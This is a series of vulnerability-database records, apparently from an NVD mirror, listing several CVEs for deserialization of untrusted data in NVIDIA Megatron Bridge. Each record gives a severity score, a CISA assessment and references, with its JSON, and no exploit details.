- CWE-502 - Deserialization of Untrusted Data
Assigner
References
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| NVIDIA | Megatron Bridge |
Affected:
0.0 to 0.5.0
|
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-61773",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "no"
},
{
"Technical Impact": "total"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-09-01T16:18:07.772676Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-09-01T16:28:51.972Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"defaultStatus": "unaffected",
"platforms": [
"All platforms"
],
"product": "Megatron Bridge",
"vendor": "NVIDIA",
"versions": [
{
"status": "affected",
"version": "0.0 to 0.5.0"
}
]
}
],
"descriptions": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "NVIDIA Megatron Bridge contains a vulnerability where an attacker could cause a deserialization of untrusted data. A successful exploit of this vulnerability might lead to code execution, data tampering, and information disclosure."
}
],
"value": "NVIDIA Megatron Bridge contains a vulnerability where an attacker could cause a deserialization of untrusted data. A successful exploit of this vulnerability might lead to code execution, data tampering, and information disclosure."
}
],
"impacts": [
{
"descriptions": [
{
"lang": "en",
"value": "code execution, data tampering, information disclosure"
}
]
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "LOCAL",
"availabilityImpact": "HIGH",
"baseScore": 7.8,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "LOW",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "GENERAL"
}
]
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-502",
"description": "CWE-502 Deserialization of Untrusted Data",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-09-01T16:02:57.002Z",
"orgId": "9576f279-3576-44b5-a4af-b9a8644b2de6",
"shortName": "nvidia"
},
"references": [
{
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-61773"
},
{
"url": "https://www.cve.org/CVERecord?id=CVE-2026-61773"
},
{
"url": "https://github.com/NVIDIA/product-security/tree/main/2026/5868"
}
],
"source": {
"discovery": "UNKNOWN"
},
"x_generator": {
"engine": "NVIDIA PSIRT"
}
}
},
"cveMetadata": {
"assignerOrgId": "9576f279-3576-44b5-a4af-b9a8644b2de6",
"assignerShortName": "nvidia",
"cveId": "CVE-2026-61773",
"datePublished": "2026-09-01T16:02:57.002Z",
"dateReserved": "2026-07-10T19:12:31.026Z",
"dateUpdated": "2026-09-01T16:28:51.972Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-61772 (GCVE-0-2026-61772)
Vulnerability from nvd – Published: 2026-09-01 16:02 – Updated: 2026-09-01 16:28
VLAI
EPSS
VEX
Summary
NVIDIA Megatron Bridge contains a vulnerability where an attacker could cause a deserialization of untrusted data. A successful exploit of this vulnerability might lead to code execution, data tampering, and information disclosure.
Severity
7.8 (High)
SSVC
Exploitation: none
Automatable: no
Technical Impact: total
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-09-01 16:17 UTC
CWE
- CWE-502 - Deserialization of Untrusted Data
Assigner
References
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| NVIDIA | Megatron Bridge |
Affected:
0.0 to 0.5.0
|
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-61772",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "no"
},
{
"Technical Impact": "total"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-09-01T16:17:53.723814Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-09-01T16:28:51.831Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"defaultStatus": "unaffected",
"platforms": [
"All platforms"
],
"product": "Megatron Bridge",
"vendor": "NVIDIA",
"versions": [
{
"status": "affected",
"version": "0.0 to 0.5.0"
}
]
}
],
"descriptions": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "NVIDIA Megatron Bridge contains a vulnerability where an attacker could cause a deserialization of untrusted data. A successful exploit of this vulnerability might lead to code execution, data tampering, and information disclosure."
}
],
"value": "NVIDIA Megatron Bridge contains a vulnerability where an attacker could cause a deserialization of untrusted data. A successful exploit of this vulnerability might lead to code execution, data tampering, and information disclosure."
}
],
"impacts": [
{
"descriptions": [
{
"lang": "en",
"value": "code execution, data tampering, information disclosure"
}
]
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "LOCAL",
"availabilityImpact": "HIGH",
"baseScore": 7.8,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "LOW",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "GENERAL"
}
]
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-502",
"description": "CWE-502 Deserialization of Untrusted Data",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-09-01T16:02:59.192Z",
"orgId": "9576f279-3576-44b5-a4af-b9a8644b2de6",
"shortName": "nvidia"
},
"references": [
{
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-61772"
},
{
"url": "https://www.cve.org/CVERecord?id=CVE-2026-61772"
},
{
"url": "https://github.com/NVIDIA/product-security/tree/main/2026/5868"
}
],
"source": {
"discovery": "UNKNOWN"
},
"x_generator": {
"engine": "NVIDIA PSIRT"
}
}
},
"cveMetadata": {
"assignerOrgId": "9576f279-3576-44b5-a4af-b9a8644b2de6",
"assignerShortName": "nvidia",
"cveId": "CVE-2026-61772",
"datePublished": "2026-09-01T16:02:59.192Z",
"dateReserved": "2026-07-10T19:12:31.026Z",
"dateUpdated": "2026-09-01T16:28:51.831Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-61771 (GCVE-0-2026-61771)
Vulnerability from nvd – Published: 2026-09-01 16:03 – Updated: 2026-09-01 16:28
VLAI
EPSS
VEX
Summary
NVIDIA Megatron Bridge contains a vulnerability where an attacker could cause a deserialization of untrusted data. A successful exploit of this vulnerability might lead to code execution, data tampering, and information disclosure.
Severity
7.8 (High)
SSVC
Exploitation: none
Automatable: no
Technical Impact: total
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-09-01 16:18 UTC
CWE
- CWE-502 - Deserialization of Untrusted Data
Assigner
References
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| NVIDIA | Megatron Bridge |
Affected:
0.0 to 0.5.0
|
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-61771",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "no"
},
{
"Technical Impact": "total"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-09-01T16:18:14.734594Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-09-01T16:28:51.684Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"defaultStatus": "unaffected",
"platforms": [
"All platforms"
],
"product": "Megatron Bridge",
"vendor": "NVIDIA",
"versions": [
{
"status": "affected",
"version": "0.0 to 0.5.0"
}
]
}
],
"descriptions": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "NVIDIA Megatron Bridge contains a vulnerability where an attacker could cause a deserialization of untrusted data. A successful exploit of this vulnerability might lead to code execution, data tampering, and information disclosure."
}
],
"value": "NVIDIA Megatron Bridge contains a vulnerability where an attacker could cause a deserialization of untrusted data. A successful exploit of this vulnerability might lead to code execution, data tampering, and information disclosure."
}
],
"impacts": [
{
"descriptions": [
{
"lang": "en",
"value": "code execution, data tampering, information disclosure"
}
]
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "LOCAL",
"availabilityImpact": "HIGH",
"baseScore": 7.8,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "LOW",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "GENERAL"
}
]
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-502",
"description": "CWE-502 Deserialization of Untrusted Data",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-09-01T16:03:00.806Z",
"orgId": "9576f279-3576-44b5-a4af-b9a8644b2de6",
"shortName": "nvidia"
},
"references": [
{
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-61771"
},
{
"url": "https://www.cve.org/CVERecord?id=CVE-2026-61771"
},
{
"url": "https://github.com/NVIDIA/product-security/tree/main/2026/5868"
}
],
"source": {
"discovery": "UNKNOWN"
},
"x_generator": {
"engine": "NVIDIA PSIRT"
}
}
},
"cveMetadata": {
"assignerOrgId": "9576f279-3576-44b5-a4af-b9a8644b2de6",
"assignerShortName": "nvidia",
"cveId": "CVE-2026-61771",
"datePublished": "2026-09-01T16:03:00.806Z",
"dateReserved": "2026-07-10T19:12:31.026Z",
"dateUpdated": "2026-09-01T16:28:51.684Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-61770 (GCVE-0-2026-61770)
Vulnerability from nvd – Published: 2026-09-01 16:03 – Updated: 2026-09-01 16:28
VLAI
EPSS
VEX
Summary
NVIDIA Megatron Bridge contains a vulnerability where an attacker could cause a deserialization of untrusted data. A successful exploit of this vulnerability might lead to code execution, data tampering, and information disclosure.
Severity
7.8 (High)
SSVC
Exploitation: none
Automatable: no
Technical Impact: total
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-09-01 16:17 UTC
CWE
- CWE-502 - Deserialization of Untrusted Data
Assigner
References
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| NVIDIA | Megatron Bridge |
Affected:
0.0 to 0.5.0
|
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-61770",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "no"
},
{
"Technical Impact": "total"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-09-01T16:17:59.944709Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-09-01T16:28:51.539Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"defaultStatus": "unaffected",
"platforms": [
"All platforms"
],
"product": "Megatron Bridge",
"vendor": "NVIDIA",
"versions": [
{
"status": "affected",
"version": "0.0 to 0.5.0"
}
]
}
],
"descriptions": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "NVIDIA Megatron Bridge contains a vulnerability where an attacker could cause a deserialization of untrusted data. A successful exploit of this vulnerability might lead to code execution, data tampering, and information disclosure."
}
],
"value": "NVIDIA Megatron Bridge contains a vulnerability where an attacker could cause a deserialization of untrusted data. A successful exploit of this vulnerability might lead to code execution, data tampering, and information disclosure."
}
],
"impacts": [
{
"descriptions": [
{
"lang": "en",
"value": "code execution, data tampering, information disclosure"
}
]
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "LOCAL",
"availabilityImpact": "HIGH",
"baseScore": 7.8,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "LOW",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "GENERAL"
}
]
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-502",
"description": "CWE-502 Deserialization of Untrusted Data",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-09-01T16:03:03.345Z",
"orgId": "9576f279-3576-44b5-a4af-b9a8644b2de6",
"shortName": "nvidia"
},
"references": [
{
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-61770"
},
{
"url": "https://www.cve.org/CVERecord?id=CVE-2026-61770"
},
{
"url": "https://github.com/NVIDIA/product-security/tree/main/2026/5868"
}
],
"source": {
"discovery": "UNKNOWN"
},
"x_generator": {
"engine": "NVIDIA PSIRT"
}
}
},
"cveMetadata": {
"assignerOrgId": "9576f279-3576-44b5-a4af-b9a8644b2de6",
"assignerShortName": "nvidia",
"cveId": "CVE-2026-61770",
"datePublished": "2026-09-01T16:03:03.345Z",
"dateReserved": "2026-07-10T19:12:31.026Z",
"dateUpdated": "2026-09-01T16:28:51.539Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-61769 (GCVE-0-2026-61769)
Vulnerability from nvd – Published: 2026-09-01 16:03 – Updated: 2026-09-01 16:28
VLAI
EPSS
VEX
Summary
NVIDIA Megatron Bridge contains a vulnerability where an attacker could cause a deserialization of untrusted data. A successful exploit of this vulnerability might lead to code execution, data tampering, and information disclosure.
Severity
7.8 (High)
SSVC
Exploitation: none
Automatable: no
Technical Impact: total
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-09-01 16:17 UTC
CWE
- CWE-502 - Deserialization of Untrusted Data
Assigner
References
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| NVIDIA | Megatron Bridge |
Affected:
0.0 to 0.5.0
|
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-61769",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "no"
},
{
"Technical Impact": "total"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-09-01T16:17:40.936789Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-09-01T16:28:50.740Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"defaultStatus": "unaffected",
"platforms": [
"All platforms"
],
"product": "Megatron Bridge",
"vendor": "NVIDIA",
"versions": [
{
"status": "affected",
"version": "0.0 to 0.5.0"
}
]
}
],
"descriptions": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "NVIDIA Megatron Bridge contains a vulnerability where an attacker could cause a deserialization of untrusted data. A successful exploit of this vulnerability might lead to code execution, data tampering, and information disclosure."
}
],
"value": "NVIDIA Megatron Bridge contains a vulnerability where an attacker could cause a deserialization of untrusted data. A successful exploit of this vulnerability might lead to code execution, data tampering, and information disclosure."
}
],
"impacts": [
{
"descriptions": [
{
"lang": "en",
"value": "code execution, data tampering, information disclosure"
}
]
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "LOCAL",
"availabilityImpact": "HIGH",
"baseScore": 7.8,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "LOW",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "GENERAL"
}
]
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-502",
"description": "CWE-502 Deserialization of Untrusted Data",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-09-01T16:03:08.707Z",
"orgId": "9576f279-3576-44b5-a4af-b9a8644b2de6",
"shortName": "nvidia"
},
"references": [
{
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-61769"
},
{
"url": "https://www.cve.org/CVERecord?id=CVE-2026-61769"
},
{
"url": "https://github.com/NVIDIA/product-security/tree/main/2026/5868"
}
],
"source": {
"discovery": "UNKNOWN"
},
"x_generator": {
"engine": "NVIDIA PSIRT"
}
}
},
"cveMetadata": {
"assignerOrgId": "9576f279-3576-44b5-a4af-b9a8644b2de6",
"assignerShortName": "nvidia",
"cveId": "CVE-2026-61769",
"datePublished": "2026-09-01T16:03:08.707Z",
"dateReserved": "2026-07-10T19:08:58.085Z",
"dateUpdated": "2026-09-01T16:28:50.740Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-61768 (GCVE-0-2026-61768)
Vulnerability from nvd – Published: 2026-09-01 16:02 – Updated: 2026-09-01 16:28
VLAI
EPSS
VEX
Summary
NVIDIA Megatron Bridge contains a vulnerability where an attacker could cause a deserialization of untrusted data. A successful exploit of this vulnerability might lead to code execution, data tampering, and information disclosure.
Severity
7.8 (High)
SSVC
Exploitation: none
Automatable: no
Technical Impact: total
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-09-01 16:19 UTC
CWE
- CWE-502 - Deserialization of Untrusted Data
Assigner
References
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| NVIDIA | Megatron Bridge |
Affected:
0.0 to 0.5.0
|
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-61768",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "no"
},
{
"Technical Impact": "total"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-09-01T16:19:20.648158Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-09-01T16:28:52.848Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"defaultStatus": "unaffected",
"platforms": [
"All platforms"
],
"product": "Megatron Bridge",
"vendor": "NVIDIA",
"versions": [
{
"status": "affected",
"version": "0.0 to 0.5.0"
}
]
}
],
"descriptions": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "NVIDIA Megatron Bridge contains a vulnerability where an attacker could cause a deserialization of untrusted data. A successful exploit of this vulnerability might lead to code execution, data tampering, and information disclosure."
}
],
"value": "NVIDIA Megatron Bridge contains a vulnerability where an attacker could cause a deserialization of untrusted data. A successful exploit of this vulnerability might lead to code execution, data tampering, and information disclosure."
}
],
"impacts": [
{
"descriptions": [
{
"lang": "en",
"value": "code execution, data tampering, information disclosure"
}
]
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "LOCAL",
"availabilityImpact": "HIGH",
"baseScore": 7.8,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "LOW",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "GENERAL"
}
]
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-502",
"description": "CWE-502 Deserialization of Untrusted Data",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-09-01T16:02:50.720Z",
"orgId": "9576f279-3576-44b5-a4af-b9a8644b2de6",
"shortName": "nvidia"
},
"references": [
{
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-61768"
},
{
"url": "https://www.cve.org/CVERecord?id=CVE-2026-61768"
},
{
"url": "https://github.com/NVIDIA/product-security/tree/main/2026/5868"
}
],
"source": {
"discovery": "UNKNOWN"
},
"x_generator": {
"engine": "NVIDIA PSIRT"
}
}
},
"cveMetadata": {
"assignerOrgId": "9576f279-3576-44b5-a4af-b9a8644b2de6",
"assignerShortName": "nvidia",
"cveId": "CVE-2026-61768",
"datePublished": "2026-09-01T16:02:50.720Z",
"dateReserved": "2026-07-10T19:08:58.085Z",
"dateUpdated": "2026-09-01T16:28:52.848Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-61767 (GCVE-0-2026-61767)
Vulnerability from nvd – Published: 2026-09-01 16:02 – Updated: 2026-09-01 16:28
VLAI
EPSS
VEX
Summary
NVIDIA Megatron Bridge contains a vulnerability where an attacker could cause a deserialization of untrusted data. A successful exploit of this vulnerability might lead to code execution, data tampering, and information disclosure.
Severity
7.8 (High)
SSVC
Exploitation: none
Automatable: no
Technical Impact: total
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-09-01 16:19 UTC
CWE
- CWE-502 - Deserialization of Untrusted Data
Assigner
References
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| NVIDIA | Megatron Bridge |
Affected:
0.0 to 0.5.0
|
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-61767",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "no"
},
{
"Technical Impact": "total"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-09-01T16:19:01.258204Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-09-01T16:28:52.704Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"defaultStatus": "unaffected",
"platforms": [
"All platforms"
],
"product": "Megatron Bridge",
"vendor": "NVIDIA",
"versions": [
{
"status": "affected",
"version": "0.0 to 0.5.0"
}
]
}
],
"descriptions": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "NVIDIA Megatron Bridge contains a vulnerability where an attacker could cause a deserialization of untrusted data. A successful exploit of this vulnerability might lead to code execution, data tampering, and information disclosure."
}
],
"value": "NVIDIA Megatron Bridge contains a vulnerability where an attacker could cause a deserialization of untrusted data. A successful exploit of this vulnerability might lead to code execution, data tampering, and information disclosure."
}
],
"impacts": [
{
"descriptions": [
{
"lang": "en",
"value": "code execution, data tampering, information disclosure"
}
]
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "LOCAL",
"availabilityImpact": "HIGH",
"baseScore": 7.8,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "LOW",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "GENERAL"
}
]
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-502",
"description": "CWE-502 Deserialization of Untrusted Data",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-09-01T16:02:51.704Z",
"orgId": "9576f279-3576-44b5-a4af-b9a8644b2de6",
"shortName": "nvidia"
},
"references": [
{
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-61767"
},
{
"url": "https://www.cve.org/CVERecord?id=CVE-2026-61767"
},
{
"url": "https://github.com/NVIDIA/product-security/tree/main/2026/5868"
}
],
"source": {
"discovery": "UNKNOWN"
},
"x_generator": {
"engine": "NVIDIA PSIRT"
}
}
},
"cveMetadata": {
"assignerOrgId": "9576f279-3576-44b5-a4af-b9a8644b2de6",
"assignerShortName": "nvidia",
"cveId": "CVE-2026-61767",
"datePublished": "2026-09-01T16:02:51.704Z",
"dateReserved": "2026-07-10T19:08:58.085Z",
"dateUpdated": "2026-09-01T16:28:52.704Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-61766 (GCVE-0-2026-61766)
Vulnerability from nvd – Published: 2026-09-01 16:02 – Updated: 2026-09-01 16:28
VLAI
EPSS
VEX
Summary
NVIDIA Megatron Bridge contains a vulnerability where an attacker could cause a deserialization of untrusted data. A successful exploit of this vulnerability might lead to code execution, data tampering, and information disclosure.
Severity
7.8 (High)
SSVC
Exploitation: none
Automatable: no
Technical Impact: total
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-09-01 16:18 UTC
CWE
- CWE-502 - Deserialization of Untrusted Data
Assigner
References
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| NVIDIA | Megatron Bridge |
Affected:
0.0 to 0.5.0
|
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-61766",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "no"
},
{
"Technical Impact": "total"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-09-01T16:18:34.630535Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-09-01T16:28:52.555Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"defaultStatus": "unaffected",
"platforms": [
"All platforms"
],
"product": "Megatron Bridge",
"vendor": "NVIDIA",
"versions": [
{
"status": "affected",
"version": "0.0 to 0.5.0"
}
]
}
],
"descriptions": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "NVIDIA Megatron Bridge contains a vulnerability where an attacker could cause a deserialization of untrusted data. A successful exploit of this vulnerability might lead to code execution, data tampering, and information disclosure."
}
],
"value": "NVIDIA Megatron Bridge contains a vulnerability where an attacker could cause a deserialization of untrusted data. A successful exploit of this vulnerability might lead to code execution, data tampering, and information disclosure."
}
],
"impacts": [
{
"descriptions": [
{
"lang": "en",
"value": "code execution, data tampering, information disclosure"
}
]
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "LOCAL",
"availabilityImpact": "HIGH",
"baseScore": 7.8,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "LOW",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "GENERAL"
}
]
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-502",
"description": "CWE-502 Deserialization of Untrusted Data",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-09-01T16:02:52.640Z",
"orgId": "9576f279-3576-44b5-a4af-b9a8644b2de6",
"shortName": "nvidia"
},
"references": [
{
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-61766"
},
{
"url": "https://www.cve.org/CVERecord?id=CVE-2026-61766"
},
{
"url": "https://github.com/NVIDIA/product-security/tree/main/2026/5868"
}
],
"source": {
"discovery": "UNKNOWN"
},
"x_generator": {
"engine": "NVIDIA PSIRT"
}
}
},
"cveMetadata": {
"assignerOrgId": "9576f279-3576-44b5-a4af-b9a8644b2de6",
"assignerShortName": "nvidia",
"cveId": "CVE-2026-61766",
"datePublished": "2026-09-01T16:02:52.640Z",
"dateReserved": "2026-07-10T19:08:58.085Z",
"dateUpdated": "2026-09-01T16:28:52.555Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-61765 (GCVE-0-2026-61765)
Vulnerability from nvd – Published: 2026-09-01 16:02 – Updated: 2026-09-01 16:28
VLAI
EPSS
VEX
Summary
NVIDIA Megatron Bridge contains a vulnerability where an attacker could cause a deserialization of untrusted data. A successful exploit of this vulnerability might lead to code execution, data tampering, and information disclosure.
Severity
7.8 (High)
SSVC
Exploitation: none
Automatable: no
Technical Impact: total
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-09-01 16:17 UTC
CWE
- CWE-502 - Deserialization of Untrusted Data
Assigner
References
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| NVIDIA | Megatron Bridge |
Affected:
0.0 to 0.5.0
|
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-61765",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "no"
},
{
"Technical Impact": "total"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-09-01T16:17:03.026051Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
